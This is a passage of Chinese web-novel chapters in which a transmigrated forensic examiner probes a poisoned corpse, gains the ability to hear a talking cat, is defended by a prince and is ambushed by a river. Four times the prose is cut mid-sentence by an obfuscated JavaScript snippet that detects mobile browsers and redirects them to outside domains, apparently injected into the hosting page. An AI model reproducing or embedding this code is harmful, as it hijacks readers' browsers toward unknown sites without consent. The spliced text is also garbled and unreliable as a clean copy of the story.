钱满拿着刀的手顿了一下,随即切开了鼓包,不知道是不是她的错觉,只觉得眼前闪过一道蓝光,但很快消失不见,鼓包包裹的是一些淡蓝色的晶块。 是玄晶! 玄晶被暴露出来的那一刻,室内的香味愈发浓重起来,洪灿和莫柠已经脸色苍白,忍不住到外面呕吐起来。 陆青杨和许唐还算没有异样,但脸色的表情已经昭示着,这两人也在极力忍耐了。 臭味难闻,香味太浓一样让人受不了。 钱满松了一口气,这尸体同时发现了玄晶和七蕊凝香,和她预料的差不多,这一切和之前七皇子的案子脱不开关系。 她正准备想着跟陆青杨汇报自己的发现,却在此时发生了意见让她更加震惊的事情—— 她手中的手术刀陡然变得冰冷无比,在玄晶的映射下发出浅蓝色的光芒,她想起入门考核那次处理河边腐尸的时候,她的刀遇到玄晶就是这样的反应! 但这一次与上次又有些不同,上次玄晶的数量很少,刀尖触及之后就吸收了,发出的蓝光也十分微弱,持续时间也很短暂。 这一次解剖刀发出的光芒似乎越来越明显,以至于陆青杨和许唐也都看到了。 陆青杨脸色大变,震惊道:“……你的水刀这么快就升级了?” 钱满整个人还蒙着,脑海里又冒出一个少年慵懒的嗓音:“笨女人,这个人是死了之后又被人缢死的。” 28. 第 28 章 钱满只觉得眼前闪过一道黑影,定睛一看,竟然是那只黑猫! “看什么看!不认识了啊?” 那声音懒洋洋的,带着点儿少年特有的清亮,还有一丝说不出的熟悉感,要说像谁……倒是和商钰生气的时候有几分相似。 只是这少年的嗓音更加年轻一些。 钱满脑子“嗡”地一声,几乎以为自己出现了幻听。身边没有人说话,她听到的声音就只有一个可能—— 是这只黑猫。 钱满浑身一僵,几乎以为自己因为这浓郁的七蕊凝香产生了幻觉。她猛地抬头,视线扫过周围,陆青杨和许唐正一脸震惊地看着她手中的……刀? 对了,刀! 钱满低头,只见刚才还只是普通手术刀模样的工具,此刻刀身正散发着幽幽的浅蓝色光芒,映照着尸体颈部那些蓝色的玄晶碎块,光芒虽然不强烈,但在库房昏暗的光线下却异常显眼。那冰冷的感觉顺着刀柄蔓延,仿佛要冻结她的血液。 而不知道何时突然出现的黑猫也一身炸毛地围着钱满转圈,警惕的眼睛盯着钱满手中的手术刀。 “……钱满,你运气可真好!”陆青杨的声音打破了诡异的寂静,带着难以置信的惊疑。 四重门的制式水刀确实可以通过吸收能量或特殊物质进行升级,但那通常需要长时间的蕴养或者特殊的机缘,像钱满这样刚入职没几天就让水刀发光,简直闻所未闻。 升级?钱满脑子有点懵,她这刀根本不是四重门发的水刀啊!这是她自己的手术刀,怎么会……钱满探向腰间的手突然顿住,她明明记得出门时候带了两把刀的,可是现在四重门配发的那把刀不见了。 钱满一肚子疑惑:“……可能就是凑巧了吧。” 此刻对于钱满来说,刀升级倒是小事,更让她心惊的是刚才那个声音,清晰得不像是幻听。 她下意识地寻找声音的来源,目光掠过门口,却什么也没看到。 “喵~”一声几不可闻的猫叫在角落响起。 钱满猛地转头,果然看到一只通体乌黑的猫不知何时蹲在了库房角落的一个空木箱上,姿态优雅地舔着爪子,一双金色的竖瞳懒洋洋地瞥了她一眼。 “收起你的刀,我讨厌那把刀!” 少年音再次响起,带着一丝暴躁。 钱满:“……” 原来真的是这只黑猫在说话? 不等她消化这个惊人的事实,眼前忽然一阵恍惚,尸体、玄晶、发光的刀刃似乎在她眼前扭曲、重叠,紧接着,一幅短暂而模糊的画面闪过脑海—— 黑暗的房间,一个女人惊恐地睁大眼睛,嘴角流出暗红色血迹,发出呜呜的声音,很快她挣扎着倒下……但随后,一双戴着手套的手用一根粗绳套上了她的脖颈,用力勒紧…… 画面消失得很快,快到钱满想捕捉更多细节都来不及。但那死后被缢杀的景象,却清晰地烙印在了她的意识里。 钱满深吸一口气,强迫自己冷静下来。 身体的变化来得太突然,能听到猫语,能看到死者临死前的片段景象……这到底是怎么回事?是因为穿越?还是因为接触了玄晶? 不过,钱满心头的惊涛骇浪也就是一闪而过,连自己穿越到这么离谱的女尊世界这样的事情都发生了,还有什么不可能的? 她的主角光环终于来了! 钱满压下心头的狂喜,面上尽量维持镇定,对陆青杨含糊道:“可能……是凑巧吧,我们还是说说尸体。” “死亡时间大概7-10天,应该是死于某种毒物,死后又被人用绳索勒了脖子……” “等等,”陆青杨狐疑地看了她几眼,“你说……死后缢杀?” 陆青杨的注意力回到了案情上,她来到了尸体面前又仔细查看一番,久久没有说话。 钱满:“缢痕状态确实不符合生前缢死,而且这些玄晶……恐怕是死后才被塞进去,再伪造缢死的假象。” 这与陆青杨心里的想的几乎一样,她再次抬头看向钱满,心里不由得感慨原来这个钱满还是有两下子的。 如此一想,之前与钱满之间那点儿龃龉也就消失殆尽了,取而代之的是欣慰,她们二组总算有了好苗子了。 许唐一直沉默地站在陆青杨身后,此刻也上前一步,仔细观察着尸体,她虽然没说话,但眼神中的凝重表明她也认同钱满的判断。 “七蕊凝香,玄晶,死后伪造现场……”陆青杨眉头紧锁,“这案子,果然和七皇子那件脱不了干系。洪灿,莫柠,你们俩怎么样了?过来一起看看!” 外面传来洪灿和莫柠虚弱的回应声,显然那浓烈的香味让她们俩够呛。莫柠还能勉强维持站立,洪灿已经站不起来了。 “许唐,你带她们先回门里,”陆青杨迅速做出决断,“钱满,你继续勘验,务必仔细,任何细节都不要放过。我需要立刻将此事上报门主。” 钱满点头应下,重新将注意力集中到尸体上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403455|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有了刚才那画面“回放”,她检查起来更有方向,果然在死者的胃里和肠道都发现了一些可疑的残渣。 逃窜到角落的黑猫不知何时又凑了过来,还时不时地来点“点评”。 “啧,这手法真够糙的,以为塞点破晶石就能掩盖了?” “喂,笨女人,你看看她指甲缝里,好像有东西。” “这香味……真难闻,不如小鱼干,小鱼干身上都是香香的。” “好无聊,要是小鱼干也在就好了!” …… 少年干净的嗓音听起来很是悦耳,但这个话唠未免有些聒噪。 嗯?小鱼干? 谁是小鱼干? 钱满猛然想起自己在这里第一次见到这黑猫的情景,是了,这厮在这个世界认识的第一个人应该是商钰。 商钰,小鱼干,这名字挺好。 钱满嘴角抽了抽,决定暂时无视这个话痨的“场外指导”。 她发现自己似乎真的变得不一样了,不仅是听力和视力,甚至连思维都变得更加敏锐,对现场细节的捕捉能力也提升了不少。这变化是好是坏,她暂时无法判断,但对于法医工作而言,无疑是巨大的助益。 云深香坊的案子很快受到了各方关注。 与此同时,四重门内,关于云深香坊发现藏尸、涉及玄晶和七蕊凝香的消息,以及钱满那把“升级”了的水刀的传闻,也成为了四重门最新的八卦谈资。 消息很快传到了门主宋沐风的耳中。 此刻他正在书房静坐,听着下属的汇报,那张常年没什么表情、雌雄莫辨的脸上,眉头微不可查地蹙了一下。 玄晶,七蕊凝香,还有那个钱满……他修长的手指轻轻敲击着桌面,眼中闪过一丝深思和不易察觉的忧虑。这个钱满,似乎比他预想的还要不一般,只是,这种变化,是福是祸? 几乎是同一时间,皇宫深处,女帝商琅也收到了密报。 与宋沐风的凝重不同,这位大虞朝的最高统治者在听完禀报后,先是微微一怔,随即发出一阵畅快的大笑声。 “哈哈哈!玄晶有异动?钱家那丫头竟能引动异象?好!好啊!”女帝眼中精光四射,带着一种久候多时的兴奋和期待,“看来,时机……真的要到了!” 这是皇帝多年来第一次大笑。 但她脸上的笑容很快消失不见,随即紧皱了眉头,叫来隐匿在一旁的暗卫,低声吩咐了一番,那人躬身点头,很快消失不见。 29. 第 29 章 皇宫,西北角,芜月轩。 一脸呆滞披散着头发的周蓉,眼睛突然亮了,随即嘴角露出一丝不太明显的笑容,也就在此时他的身边轻轻落下一道影子。 “主子,事情已经办妥。” 周蓉转身冲着林知优摆摆手,示意他靠近。 “辛苦你了,不过,也要把你的心思收一收。” 林知优身体一僵,噗通跪倒在地,“奴才不敢。” 周蓉的语气淡淡的,“年轻气盛,人之常情,那个钱满长得不错,我的小钰……你有心思也很正常。只是,现在都还不是时候。” 林知优五体俯地,声音颤抖:“……奴才明白。” - 这天回到家中,钱满对于自己今天遇到的事情没有声张,钱明月他们问及案子的事情,钱满也只是含糊说,还没有确定身份。 直到用过晚饭来到自己的院子,钱满整个人都还是晕乎乎的。 “喵呜~” 黑猫几乎寸步不离地跟着她,但奇怪的是,她现在又听不到那个少年嗓音了,左看右看,眼前的黑煤球都是一只普通的小畜生。 难道之前都是自己的错觉不成! 对了,还有刀! 钱满拿出解剖刀,现在她手中的这把刀融合了最初的手术刀和水刀,外观上看区别不大,但重量确实增加了不少。 握在手中沉甸甸的,刀柄与手掌融合的瞬间,刀刃发出了一道淡蓝色的光芒,也就是此时,她听到有人在耳边打了个哈欠。 少年慵懒的嗓音传来—— “折腾一天,困死了。” 钱满:!!! 白天一堆人她没机会问问这黑猫,这到底是怎么回事! “黑云,你听得懂是不是?” 黑猫伸了一下爪子,有些不耐烦:“听得懂,别打扰小爷我睡觉,把你的破刀收起来~~” 破刀? 难道自己能够听到黑猫说话跟这把刀有关? 钱满有些疑惑地放下了手中的刀,冲着黑猫喊了句:“又黑又丑的肥猫!喵!” 黑猫茫然地打了个哈欠,眯上了眼睛。 钱满这下可以确定了,原来她这把升级后的刀相当于一个翻译器了。 这一夜钱满睡得格外深沉,醒来只觉得周身轻快不少,仿佛她的身体也完成了一次升级,只不过她对这个世界的元道修练还一知半解,并不知道自己其实已经突破了两个层次了。 但她这种状态在高层阶的人眼里,一看便知。 昨天钱满在云深香坊验尸的事情,宋沐风自然也听说了,他猜测到了钱满的变化,但看到人之后还是有些吃惊。 商钰是他之前见过的少有的高资质的,但眼前这个钱满明显更胜一筹,只是她自己似乎还没有意识到,连自己的水刀升级了可能都还没有察觉。 宋沐风眉头微皱,让人通知钱满到嘉和小筑。 钱满稀里糊涂地被叫到了大老板的办公室。 嘉和小筑的正厅雅致清幽,燃着淡淡的熏香。宋沐风依旧是一身素雅的长袍,亲自为钱满沏了一杯茶,动作行云流水,带着一种独特的韵律感。 “坐吧。”宋沐风示意钱满坐下,将一杯热茶推到她面前,“最近辛苦了。” 还是那个不起眼的蒲团,钱满也没有客气,一屁股坐下,看到茶水正好也觉得口感,就一口喝了个感觉。 钱满擦擦嘴,“不辛苦,属下分内之事。” 面对这位深不可测的四重门门主,她总感觉压力山大,但又忍不住偷瞄了一眼。 宋沐风端起自己的茶杯,轻轻啜了一口,仿佛能看透她所有的心思,微微一笑:“云深香坊的案子,你做得很好。” “多谢门主夸奖。” “不过……”宋沐风话锋一转,声音依旧温和,却带着一丝不容置疑的意味,“有时候,锋芒太露,未必是好事。” “你很聪明,也很有天赋,”宋沐风继续说道,“但越是如此,越要学会忍耐和等待。时机未到,切不可急躁行事,否则,容易引火烧身。” 他的眼神平静无波,像是一潭深不见底的湖水,钱满看不出他这话是单纯的告诫,还是另有所指。 “属下明白,多谢门主提点。” 钱满面上恭敬应答,心里却忍不住吐槽:老东西,说话云里雾里的,搞得谁听不懂似的。不就是让我夹着尾巴做人,别太惹眼吗? 宋沐风似乎看出钱满的失落,又转移了话题。 “陆组长都跟我说了,你的分析和推断也颇有见地。”宋沐风放下茶杯,“四重门有一些积压了多年的旧案卷宗,你若有兴趣,可以拿去看看,或许能有所启发。” 钱满有些惊讶地抬头,这算是……给她开小灶?还是穿小鞋? 钱满看着宋沐风那张依旧没什么表情的脸,心里的念头转了几转。这位门主,一会儿敲打,一会儿示好,到底想干什么? 虽然心里嘀咕,但宋沐风的这个提议正和她意,她原本也是想着了解一下过去有没有和这案子相关的信息,这个时候宋沐风让她查案宗,想必都是筛选好了的。 “多谢门主栽培,属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415307|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下定当用心学习。”钱满应了下来。 接下来的两天,钱满一头扎进了浩瀚的卷宗之中。 宋沐风说的“一些”,着实有些谦虚,那些需要整理的案宗足足摆满了一间仓库。 钱满这边两耳不闻窗外事,外面一些流言蜚语开始悄悄流传。 “听说了吗?那个钱满,现在可是门主面前的红人。” “可不是,整天往门主那边跑,谁知道安的什么心。” “哼,什么一级甲等,我看就是会钻营,会巴结!” “就是,听说她家世也不错,八成是走了门路,现在又攀上门主了……” “郭副组长那么优秀都没这待遇呢,她一个新人凭什么?” 说的人多了,这些话自然也就传到了钱满耳朵。 但她没工夫理会这些人,更何况这样的场面对她来说并不陌生,当初刚到市局工作的时候,很多人也是这样揣测她是某个人的关系,再后来她连自己的顶头上司都敢打,打了之后只是被调了职,在别人看来她这背后的关系还挺有来头。 所以不管是市局,还是在派出所,这样的场面她都经历过了。 只是,这个世界的人更加离谱。 攀上门主? 若不是她那个蒲团坐着实在舒服,钱满还不想去喝什么茶。 - 商钰自从那天和钱满一起在验尸房遭遇了坍塌事故之后就病倒了,说是病也不完全准确,就是觉得浑身没有力气,肚子胀气,整个人没有精神。 太医来了好几拨,但都没诊查出什么,只是嘱咐他好好休息,这让他更加憋闷,越发觉得身上不舒坦。 “李琥,周乙!” 两位贴身侍从闻声立刻现身,这几日商钰身体不爽脾气又大,他们都躲起来不触霉头,但实际上都警醒着呢。 周乙小心翼翼地向前,“殿下,您有什么吩咐?” 商钰一脸菜色:“说说这几天都有什么趣事?” 周乙忍住笑,他从小和商钰一起长大,对他的心思再熟悉不过,自家主子哪里是想知道趣事,不就是想知道钱满的事? 钱满这个倒霉蛋儿这几天长了本事了。 周乙便把钱满这几天在四重门的事情添油加醋叙说了一番,最后总结道:“殿下,钱满这风头出的,成了出头鸟了,估计日后有她受的。” 商钰一听一下子从床榻坐起身,身上也觉得有劲儿了,愤怒的小火苗蹭蹭蹭往外冒,钱满就算是是他的死对头,也容不得别人说三道四的。 “走,去四重门。” 30. 第 30 章 多日来病恹恹的商钰仿佛突然被注入了火力,周乙和李琥面面相觑,也不敢问及缘由,只能紧跟着商钰后面。 这一次商钰为了节约时间连四重门的正门都没走,一脸怒气冲进了四重门二组的办公区域。 周乙和李琥跟在后面,大气不敢出。这几日殿下心情不佳,他们这些做侍从的自然是小心翼翼,生怕触了霉头。方才周乙不过是如实禀报了外面关于钱满的传闻,谁知殿下听完就炸了,非要亲自来四重门看看。 看来又是这个钱满惹的祸。 商钰直接到了陆青杨和郭诗语的房间。 两人正对着一份文书低声讨论着什么。看到七皇子突然驾到,两人都停下了手里的活计,起身行礼。 “殿下怎么有空过来了?”郭诗语脸上堆满了笑。 她消息灵通,自然知道外面那些风言风语,也知道这位七皇子和钱满素来不睦。她心里盘算着,七皇子这怒气冲冲的,莫不是又过来找钱满麻烦? 如果是,那可是太好了,她正好可以推波助澜一把,趁机邀功。 商钰没理会郭诗语的热情,径直走到主位坐下,脸色依旧不好看。“听说你们二组最近很热闹?钱满呢?” 郭诗语立刻会意,看来传闻不虚,七皇子果然是来敲打钱满的。 她连忙上前一步,声音压低了些:“殿下找钱满?可是她冲撞了殿下?这钱满仗着自己考核成绩好,最近行事确实张扬了些,殿下放心,这点小事,交给我们处理就好,保管让她以后安安分分的。” 商钰眯了眯眼睛,看着眼前谄媚的女人,他想起来了,这个郭诗语是苏城的侄女,本事也就那样,但人情世故方面却成了精。 不到三十的年纪,就已经成了老狐狸,他不过是问了一句钱满,这人就开始揣摩起他的心意来了。 商钰哼笑了一声,“郭副组长还真是贴心。” 郭诗语没有注意到商钰语气的变化,笑容更甚:“我们做副组长的自然会好好‘教导’她。这种小事,哪里用得着殿下您亲自跑一趟?交给我们处理就是了,保管让她以后安安分分的。” 她一边说,一边观察着商钰的神色,见他没有反驳,心里更加笃定自己的猜测没错。她又补充道:“陆副组长,你说是不是?” 陆青杨站在一旁,没有立刻接话。 她对钱满确实有些看法,尤其是钱满那不将任何人放在眼里的态度,还有门主对她的特殊关注,都让她心里不舒服。但她也见识过钱满的本事,加上门主的态度不明,她不想轻易掺和进去。 再加上,陆青杨到底年长几岁,七皇子与钱满不对盘这么多年,也没见七皇子把她怎么样,商钰今天到底是为了什么而来,还不能妄下结论。 郭诗语自己要当出头鸟,就让她去当好了。 所以她只是含糊地应了一声:“……新人是该多学学规矩。” 商钰听着郭诗语那谄媚又恶毒的话,看着陆青杨那默许的态度,心里的火“噌”地一下就烧到了头顶。 好啊,他不过是随口问问,这两个女人就迫不及待地要踩钱满一脚!她们以为他是来找茬的?她们凭什么这么说钱满?就算钱满再讨厌,那也是他商钰的死对头,轮得到她们在这里说三道四、落井下石? “教导?处理?学学规矩?”商钰猛地站起身,声音陡然拔高,“两位副组长好大的威风!什么时候四重门有了这样的规矩,本宫怎么不知道?” 郭诗语脸上的笑容僵住了,她完全没想到商钰会是这个反应,一时讷讷说不出话:“殿下……我……我不是那个意思……” “你不是那个意思是什么意思?”商钰逼近一步,眼神锐利地扫过郭诗语和陆青杨,“我倒想听听,你们打算怎么‘教导’她?是因为她验尸验得比你们好,还是因为她破案破得比你们快?啊?” 陆青杨的脸色也变了,她没想到商钰会如此动怒,而且是为钱满出头,她张了张嘴,想解释什么,却被商钰打断。 “还有你,陆青杨!”商钰转向她,“别人胡说八道,你也跟着装聋作哑?钱满是你们二组的人,她查案有功,你们不维护也就算了,还任由旁人污蔑构陷?这就是你这个副组长的担当?” 商钰越说越气,声音里带着压抑不住的怒火:“我告诉你们,钱满是我的人……不对!钱满是四重门的人!她凭本事进来的,轮不到你们在这里指手画脚!以后谁再敢在背后嚼舌根,或者故意刁难她,别怪我不客气!” 两人都被七皇子这突如其来的雷霆之怒震慑住了。 周乙和李琥也是面面相觑,殿下这维护得也太明显了吧? 郭诗语脸色惨白,她怎么也想不通,明明是敌对的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423883|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人,七皇子怎么会为了钱满发这么大的火? 陆青杨也低下了头,心里五味杂陈,有难堪,也有几分说不清道不明的情绪。 就在这气氛僵持到极点的时候,一个声音从门口传来。 “哟,殿下也在?这么热闹?” 钱满抱着一摞卷宗,刚从藏书阁出来,她找到了几卷可疑的案件,正想着问问陆青杨她们,没想到商钰竟然在这里。 商钰的话她没有听全,但最后那一句却是听了个清楚。 只是,这是什么情况? 死对头过来给自己撑腰呢? 这小东西今天是吃错药了? 钱满面上不动声色,心里十分受用,嘴角也有些微微上扬。 商钰听到钱满的声音,身体猛地一僵,脸上的怒气瞬间卡壳,转而升起一股不自然的红晕。他刚才……他刚才好像说了维护钱满的话? 还让钱满听到了! 商钰眼神闪烁,不敢看钱满,梗着脖子,试图找回刚才的气势,但声音却弱了下去:“我……我路过!对,路过!顺便来看看你们有没有好好办案!钱满,本宫也没有维护你,都是为了维护四重门的公正,主持正义!” 钱满:“……” 她看着眼前这个耳根都红透了、却还在嘴硬的少年,心里觉得有些好笑。主持正义?这话他自己信吗? 郭诗语和陆青杨交换了一个眼神,都从对方眼中看到了惊疑和了然。 商钰被钱满看得浑身不自在,也顾不上再教训谁了,转身就往外走:“周乙,李琥,走了!到师父那里去喝茶!” 走到门口,他又像是想起了什么,回头瞪了钱满一眼,丢下一句:“你……你好自为之!” 钱满站在原地,看着商钰几乎是落荒而逃的背影,又看了看屋内两个脸色难看的副组长。 她抱着卷宗,忍不住弯了弯唇角。 这小子……还挺有意思。 之前只觉得他是个麻烦精,现在看来,似乎也不全是。 钱满心里某个地方,好像有什么东西悄悄变了,有一个念头在悄悄萌生,之前她有很多不能确定的事情,但现在她的刀,还有她的能力,足以让她在这个世界立足。 顺道拯救一下别扭的小可怜也不是不可以。 白给的缘分,为什么要拒绝呢。 31. 第 31 章 商钰几乎是逃跑似的冲出了二组的办公区域,那背影带着几分少年人特有的狼狈和慌张,和他刚才盛气凌人的样子判若两人。 钱满站在原地,看着商钰的背影,又瞥了一眼屋里两个脸色变幻莫测的副组长,抱着卷宗的手紧了紧,嘴角那抹若有似无的笑意终于没忍住,扩大了几分。 商钰那句脱口而出的“我的人”,连同他后面此地无银三百两的解释,还有那红透了的耳根,在钱满脑中盘旋不去。 这小家伙,炸毛逃跑的样子倒是有几分……可爱? 钱满心里转着这些念头,面上却恢复了惯常的平静,仿佛刚才什么都没发生。她抬眼看向屋内的两人。 郭诗语的脸色依旧难看,像是吞了苍蝇,眼神里充满了不甘和怨毒,看向钱满的目光更是复杂,有嫉妒,有忌惮,还有一丝不易察觉的……杀意? 陆青杨则显得平静许多,但眼神深处也有些波动。她看了看钱满,又看了看郭诗语,最终只是微微叹了口气,没说什么,重新低头看向桌上的文书,仿佛刚才那场闹剧与她无关。 钱满也没兴趣跟她们多纠缠,抱着卷宗,冲两人点了点头,算是打过招呼,便转身离开了。她得赶紧把这几份可疑的旧案卷宗看完,说不定能找到与云深香坊案子相关的线索。 下值回家,钱满心情大好,连带着晚餐吃了满满三大碗,刘楚玉都看呆了。 “我的女儿,你没事吧?你看看的你腰!” 钱满:“……” 钱明月倒是很高兴,“阿满能吃是好吃,说明身体需要大量养分,这是元道即将突破的征兆啊!” 钱满也没办法跟家人明白说,只是含糊道:“……确实如此,我总是觉得很饿。” 夜深人静,躺在床上的钱满毫无睡意,商钰那张红透了的脸蛋儿又浮现在眼前。 之前只觉得他是个麻烦精,娇气、别扭、不讲道理,像个没长大的熊孩子。可今天这么一看,似乎也不全是。那气急败坏维护她的样子,虽然嘴硬得厉害,但耳朵尖都红透了,倒有几分……说不上来的诱惑。 钱满心里某个角落,好像有什么东西确实悄悄变了。 看到床边桌子上的解剖刀,钱满下意识拿起来端详,觉得自己和这刀一般,也好像经历了一场升级改造,到底是什么时候对商钰的心思发生了变化,她自己也说不清楚。 罢了,感情这种事,想多了头疼。她钱满也不是扭捏之人,顺其自然便是。 再说,这商钰瞧着张牙舞爪,内里却是个缺人疼的,处处透着一股小可怜的劲儿。 “我就当做是做善事了,毕竟他刚刚为我主持正义,来而不往非礼也!” 她这边刚给自己做完心理建设,角落里舔爪子的黑猫突然停下动作,抬起金色的竖瞳。 少年晴朗的声音传来:“少给自己脸上贴金了,你就是看人家长得好看,色迷心窍”。 钱满一顿,又看看自己手中的刀,顿时明白了,自己拿着这刀的时候,是可以和黑猫交流的……那可是太好了,她现在还真是需要一个倾诉对象。 就是,这小畜生说话真是不中听,怎么就色迷心窍了? 钱满挑眉,“爱美之心人皆有之,被好看的人吸引,人之常情。你看看你一身黑毛,就迷不了我……哈哈哈!” 黑猫顿时炸毛,冲着钱满跳跃过来,钱满早有准备,黑云扑了空。 “喵呜!” 可怜的黑云气得竟然说不出人语了。 钱满满意地放下刀,看着黑猫吃瘪,她的心情更好了。 - 这个小插曲并未让钱满忘记正事。 云深香坊的案子疑点重重,与七皇子旧案的联系也绝非偶然。宋沐风让她查阅旧案,恐怕也与此有关。 钱满琢磨着,商钰过来这么一趟,二组的人应该会收敛一些,尤其是郭诗语,自己正好可以专破案了。 只是她没想到,麻烦会来得这么快。 次日下午,钱满刚整理完一部分卷宗,洪灿突然过来通知,称壶流河下游岸边发现一具无名浮尸,情况紧急,让钱满即刻前往处理。 钱满觉得有些奇怪,“就我一个人去?” 洪灿一脸着急:“组长她们都已经出发了,让我叫你一起去。” 原来是大家一起。 钱满自然不疑有他,再加上之前壶流河已经发现过腐尸,她也算是有经验,叫她一起去,合情合理。 钱满整理好手中的卷宗,走出门才发现二组倾巢出动,就连刚才喊她一起去的洪灿也不见了踪影。 钱满:??? 说好的一起去呢。 不过钱满也没有多想,自己有腿,一个人去也是一样。她将解剖刀和必要工具收入随身包囊。不管是不是陷阱,案发现场是必须去的。 壶流河下游河段水流较缓,两岸芦苇丛生,人迹罕至。 钱满抵达时,夕阳已染红了半边天,河风带着水汽,吹得芦苇沙沙作响,却不见二组的其他人,更不见所谓的浮尸。 钱满正纳闷呢,突然,空气中,飘来一丝若有若无的甜香。 不是花香,倒有些像……七蕊凝香?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436024|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味道让她有些警惕。 她不动声色地继续往前走,同时抽出了解剖刀。 突然,侧后方芦苇丛一阵急响,一道黑影疾速扑来,随着黑影的逼近,那股甜香骤然浓烈! 钱满身体瞬间紧绷,捂住了口鼻,故意慢了半拍,像是被香气影响,脚步一个踉跄,顺势向前扑倒。 袭击者显然没料到她如此“不堪一击”,攻势稍缓,在钱满身边停了下来,还似乎轻笑了一声。 这声音有些熟悉。 趁着对方分心的功夫,钱满腰部猛然发力,一个迅捷无比的翻滚,腿部发力,狠狠踢向对方膝弯! “呃!”袭击者闷哼一声,重心不稳。 钱满动作不停,左手撑地弹起,右手解剖刀反握,欺身而上,手肘精准地撞在对方持械的手腕上! “铛啷!”那人手中的短匕掉落在地。 不等对方反应,钱满已绕到其身后,手臂如铁钳般锁住对方脖颈,同时膝盖顶住其后腰,将其牢牢制在地面。 整个过程干净利落,不过片刻眼之间。 钱满之前虽然学的是法医学,但她擒拿格斗却是年纪前几名。这个袭击者虽然攻势迅猛,但力量明显不足,钱满先发制人攻其要害,两人力量悬殊,很快这人被制服在地。 钱满这才注意到被自己压在身下的人,身形柔软纤细,似乎是一名男子。 面罩被揭开,一张熟悉的、带着痞气的笑脸露了出来——林知优! 钱满微怔,竟然是他? 林知优被她反关节擒拿着,脸上却不见多少慌乱,反而冲她挤了挤眼。 “钱姐姐,身手不错嘛,只是你弄得人家好疼~~嘤~~” 钱满:“……” “谁派你来的?” 林知优吃痛,龇牙咧嘴。 “哎哟!轻点轻点!我就是接了个活儿,赚点外快。” 他顿了顿,面色变得有些严肃,语气也变得正经:“不过,钱姐姐,我得好心提醒你一句,你最近风头太盛,怕是碍着某些大人物的路了。我这也就是个开胃小菜,给你提个醒。” 钱满心头一凛,大人物?郭诗语算什么大人物? 难道背后另有其人? 就在她思索的瞬间,林知优腰间突然冒出一股浓烟,刺鼻的气味弥漫开来。 钱满下意识屏息侧头。 林知优趁此机会,身体如同泥鳅般一滑,挣脱了她的钳制,几个起落便窜入茂密的芦苇丛中,声音远远传来—— “钱姐姐,后会有期!下次见面,我请你喝茶!” 32. 第 32 章 林知优的身影消失在夜色与芦苇荡的深处,空气中那股甜腻的香气也渐渐被河风吹散,只留下若有似无的痕迹,以及钱满心头一丝挥之不去的疑虑。 这林知优,身手诡异,行事作风也透着一股邪气。原本以为他只是一位弱不禁风的富家公子,但就刚才的交手来看,这人功夫不弱,而且并没有使出全部功力。 似乎就是真的如他所说,就是过来给自己提个醒。 提醒什么?郭诗语之流的小打小闹不值一提,那就是还有更深层次的危险。 隐隐之中,钱满感觉到一种无形的力量,把自己牵到了一张巨网之中,林知优是友是敌现在还不好判断,但就今天的情况看,暂时还没有威胁。 突然,钱满感觉到一阵眩晕,她甩了甩头,试图驱散脑中纷乱的思绪和身体里残留的麻痹感。 这七蕊凝香果然厉害,难怪商钰会因此晕死过去。 虽然只是吸入了很少的七蕊凝香,但依然让她感觉四肢有些发软,提不起力气。 也顾不上河水干不干净了,钱满捧起河水洗了把脸,试着调理了一下气息,这才感觉清醒了一些,但身上依然觉得有些无力。 钱满收起解剖刀,转身准备沿着河岸原路返回,然而,才走了没几步,夜风中似乎传来了不同于芦苇摩擦的窸窣声,不止一个方向。 微弱的脚步声从左右两侧的暗处同时传来,正不紧不慢地向她合围。 又来? 钱满心头火起。刚才那个林知优还算是个“技术流”,玩香下绊子,打不过就跑,还留下一句模棱两可的警告。现在这帮人,听脚步声的杂乱和刻意压制的呼吸,更像是……街头斗殴的混混? 她不动声色,继续往前走,只是握着随身包囊的手指悄然收紧,指尖触碰到冰凉的刀柄。 果然,在她走到一处相对开阔的河滩时,左右两侧的阴影里同时窜出几条黑影,手里都拎着明晃晃的短刀或者棍棒,二话不说就朝她扑了过来! 